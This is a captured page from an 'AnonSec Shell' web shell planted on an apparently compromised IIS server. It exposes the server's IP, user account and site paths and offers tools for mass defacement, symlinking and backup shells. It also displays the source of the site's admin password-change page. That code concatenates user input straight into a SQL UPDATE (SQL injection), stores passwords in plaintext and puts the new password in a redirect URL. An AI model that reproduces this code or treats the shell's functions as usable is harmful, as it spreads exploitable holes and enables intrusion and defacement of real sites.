AnonSec Shell
Server IP : 199.79.62.161  /  Your IP : 216.73.216.245   [ Reverse IP ]
Web Server : Microsoft-IIS/10.0
System : Windows NT MDUS-PP-WB12 10.0 build 20348 (Windows Server 2022) AMD64
User : IWPD_5096(nirmaowd) ( 0)
PHP Version : 8.3.30
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/INETPUB/VHOSTS/nirmalamatha.edu.in/ponnuguruvayurappan.org/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : D:/INETPUB/VHOSTS/nirmalamatha.edu.in/ponnuguruvayurappan.org/Admin/changepass.aspx.cs
using System;
using System.Data;
using System.Configuration;
using System.Collections;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;

public partial class admin_changepass : System.Web.UI.Page
{
    ConnectionDB cd = new ConnectionDB();
    protected void Page_Load(object sender, EventArgs e)
    {
        if (Convert.ToString(Session["snmadmin"]) != "verified") Response.Redirect("Default.aspx?msg=Please Login");
    }
    protected void btnpass_Click(object sender, EventArgs e)
    {
        string errormsg = "";

        errormsg += CommonFunctions.ValidateFormField("Old Password", oldpass.Text, 6, 25);
        errormsg += CommonFunctions.ValidateFormField("New Password", TextBox1.Text, 6, 25);
        errormsg += CommonFunctions.ValidateFormField("Re-Type Password", TextBox2.Text, 6, 25);
        if (!REV_OldPassword.IsValid)
        {
            errormsg += " | " + REV_OldPassword.ErrorMessage;
        }
        if (!REV_NewPassword.IsValid)
        {
            errormsg += " | " + REV_NewPassword.ErrorMessage;
        }
        if (!REV_ReTypePassword.IsValid)
        {
            errormsg += " | " + REV_ReTypePassword.ErrorMessage;
        }

        if (errormsg != "")
        {
            lbl_msg.Text = errormsg.Replace("|", "<br>");
        }


        else
        {

            string changpass = "UPDATE [Admin] SET [Admin].[AdminPassword]='" + TextBox1.Text + "' WHERE [Admin].[AdminUsername]='" + Session["AdminUsername"].ToString() + "' AND [Admin].[AdminPassword]='" + oldpass.Text + "'";
            if (cd.Execute(changpass))
            {
                Response.Redirect("message.aspx?msg= Password Changed. New Password is: " + TextBox1.Text);
            }
            else
            {
                Response.Redirect("message.aspx?msg=Invalid Attempt ");

            }
        }
    }
}

Anon7 - 2022
AnonSec Team